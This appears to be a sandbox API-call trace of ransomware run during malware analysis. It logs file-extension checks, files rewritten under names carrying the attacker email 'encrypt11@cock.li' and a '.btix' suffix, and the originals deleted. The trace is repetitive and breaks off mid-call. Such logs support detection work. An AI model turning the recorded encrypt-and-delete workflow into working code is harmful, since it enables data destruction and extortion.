lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.152] lstrlenW (lpString=".zip") returned 4 [0155.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.152] lstrlenW (lpString=".rar") returned 4 [0155.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.152] lstrlenW (lpString=".bz2") returned 4 [0155.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString=".7z") returned 3 [0155.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.153] lstrlenW (lpString=".dbf") returned 4 [0155.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.153] lstrlenW (lpString=".1cd") returned 4 [0155.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68 [0155.153] lstrlenW (lpString=".jpg") returned 4 [0155.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.247] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.247] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.247] GetLastError () returned 0x0 [0155.247] ReadFile (in: hFile=0x34c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x18c4, lpOverlapped=0x0) returned 1 [0155.249] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x18d0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x18d0, lpOverlapped=0x0) returned 1 [0155.250] ReadFile (in: hFile=0x34c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.250] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.251] SetEndOfFile (hFile=0x390) returned 1 [0155.251] CloseHandle (hObject=0x390) returned 1 [0155.251] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.251] SetEndOfFile (hFile=0x34c) returned 1 [0155.251] CloseHandle (hObject=0x34c) returned 1 [0155.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.252] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf")) returned 1 [0155.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.252] lstrlenW (lpString=".doc") returned 4 [0155.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.252] lstrlenW (lpString=".docx") returned 5 [0155.252] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0155.252] lstrlenW (lpString=".pdf") returned 4 [0155.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.252] lstrlenW (lpString=".xls") returned 4 [0155.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.252] lstrlenW (lpString=".xlsx") returned 5 [0155.252] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0155.252] lstrlenW (lpString=".ppt") returned 4 [0155.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.252] lstrlenW (lpString=".zip") returned 4 [0155.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.253] lstrlenW (lpString=".rar") returned 4 [0155.253] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.253] lstrlenW (lpString=".bz2") returned 4 [0155.253] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.253] lstrlenW (lpString=".7z") returned 3 [0155.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.253] lstrlenW (lpString=".dbf") returned 4 [0155.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.253] lstrlenW (lpString=".1cd") returned 4 [0155.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF") returned 68 [0155.253] lstrlenW (lpString=".jpg") returned 4 [0155.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.253] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.253] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.254] GetLastError () returned 0x0 [0155.254] ReadFile (in: hFile=0x34c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3094, lpOverlapped=0x0) returned 1 [0155.265] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x30a0, lpOverlapped=0x0) returned 1 [0155.266] ReadFile (in: hFile=0x34c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.266] WriteFile (in: hFile=0x390, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.266] SetEndOfFile (hFile=0x390) returned 1 [0155.266] CloseHandle (hObject=0x390) returned 1 [0155.266] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.266] SetEndOfFile (hFile=0x34c) returned 1 [0155.267] CloseHandle (hObject=0x34c) returned 1 [0155.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf")) returned 1 [0155.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.270] lstrlenW (lpString=".doc") returned 4 [0155.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.270] lstrlenW (lpString=".docx") returned 5 [0155.270] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.270] lstrlenW (lpString=".pdf") returned 4 [0155.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.270] lstrlenW (lpString=".xls") returned 4 [0155.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.270] lstrlenW (lpString=".xlsx") returned 5 [0155.270] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.270] lstrlenW (lpString=".ppt") returned 4 [0155.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.271] lstrlenW (lpString=".zip") returned 4 [0155.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.271] lstrlenW (lpString=".rar") returned 4 [0155.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.271] lstrlenW (lpString=".bz2") returned 4 [0155.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.271] lstrlenW (lpString=".7z") returned 3 [0155.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.271] lstrlenW (lpString=".dbf") returned 4 [0155.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.271] lstrlenW (lpString=".1cd") returned 4 [0155.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF") returned 68 [0155.271] lstrlenW (lpString=".jpg") returned 4 [0155.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.285] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.286] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.288] GetLastError () returned 0x0 [0155.288] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2584, lpOverlapped=0x0) returned 1 [0155.296] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2590, lpOverlapped=0x0) returned 1 [0155.297] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.297] WriteFile (in: hFile=0x36c, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.297] SetEndOfFile (hFile=0x36c) returned 1 [0155.300] CloseHandle (hObject=0x36c) returned 1 [0155.301] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.301] SetEndOfFile (hFile=0x37c) returned 1 [0155.303] CloseHandle (hObject=0x37c) returned 1 [0155.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0155.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.304] lstrlenW (lpString=".doc") returned 4 [0155.304] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString=".docx") returned 5 [0155.304] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0155.304] lstrlenW (lpString=".pdf") returned 4 [0155.304] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString=".xls") returned 4 [0155.304] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.304] lstrlenW (lpString=".xlsx") returned 5 [0155.304] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0155.304] lstrlenW (lpString=".ppt") returned 4 [0155.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.304] lstrlenW (lpString=".zip") returned 4 [0155.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.304] lstrlenW (lpString=".rar") returned 4 [0155.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString=".bz2") returned 4 [0155.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString=".7z") returned 3 [0155.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.304] lstrlenW (lpString=".dbf") returned 4 [0155.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.304] lstrlenW (lpString=".1cd") returned 4 [0155.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0155.304] lstrlenW (lpString=".jpg") returned 4 [0155.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.305] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.305] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.306] GetLastError () returned 0x0 [0155.306] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0155.316] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x500, lpOverlapped=0x0) returned 1 [0155.317] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.317] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.317] SetEndOfFile (hFile=0x3a4) returned 1 [0155.317] CloseHandle (hObject=0x3a4) returned 1 [0155.318] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.318] SetEndOfFile (hFile=0x37c) returned 1 [0155.318] CloseHandle (hObject=0x37c) returned 1 [0155.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf")) returned 1 [0155.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.319] lstrlenW (lpString=".doc") returned 4 [0155.319] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.319] lstrlenW (lpString=".docx") returned 5 [0155.319] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.319] lstrlenW (lpString=".pdf") returned 4 [0155.319] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.319] lstrlenW (lpString=".xls") returned 4 [0155.319] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.319] lstrlenW (lpString=".xlsx") returned 5 [0155.319] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.319] lstrlenW (lpString=".ppt") returned 4 [0155.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.319] lstrlenW (lpString=".zip") returned 4 [0155.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.319] lstrlenW (lpString=".rar") returned 4 [0155.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.319] lstrlenW (lpString=".bz2") returned 4 [0155.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.320] lstrlenW (lpString=".7z") returned 3 [0155.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.320] lstrlenW (lpString=".dbf") returned 4 [0155.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.320] lstrlenW (lpString=".1cd") returned 4 [0155.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF") returned 68 [0155.320] lstrlenW (lpString=".jpg") returned 4 [0155.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.320] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.320] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.321] GetLastError () returned 0x0 [0155.321] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1c98, lpOverlapped=0x0) returned 1 [0155.328] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1ca0, lpOverlapped=0x0) returned 1 [0155.329] ReadFile (in: hFile=0x37c, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.329] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.329] SetEndOfFile (hFile=0x3a4) returned 1 [0155.330] CloseHandle (hObject=0x3a4) returned 1 [0155.330] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.330] SetEndOfFile (hFile=0x37c) returned 1 [0155.330] CloseHandle (hObject=0x37c) returned 1 [0155.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0155.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.332] lstrlenW (lpString=".doc") returned 4 [0155.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString=".docx") returned 5 [0155.333] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0155.333] lstrlenW (lpString=".pdf") returned 4 [0155.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString=".xls") returned 4 [0155.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.333] lstrlenW (lpString=".xlsx") returned 5 [0155.333] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0155.333] lstrlenW (lpString=".ppt") returned 4 [0155.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.333] lstrlenW (lpString=".zip") returned 4 [0155.333] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.333] lstrlenW (lpString=".rar") returned 4 [0155.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString=".bz2") returned 4 [0155.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString=".7z") returned 3 [0155.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.333] lstrlenW (lpString=".dbf") returned 4 [0155.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.333] lstrlenW (lpString=".1cd") returned 4 [0155.333] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68 [0155.333] lstrlenW (lpString=".jpg") returned 4 [0155.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.338] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.338] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0155.340] GetLastError () returned 0x0 [0155.340] ReadFile (in: hFile=0x390, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, 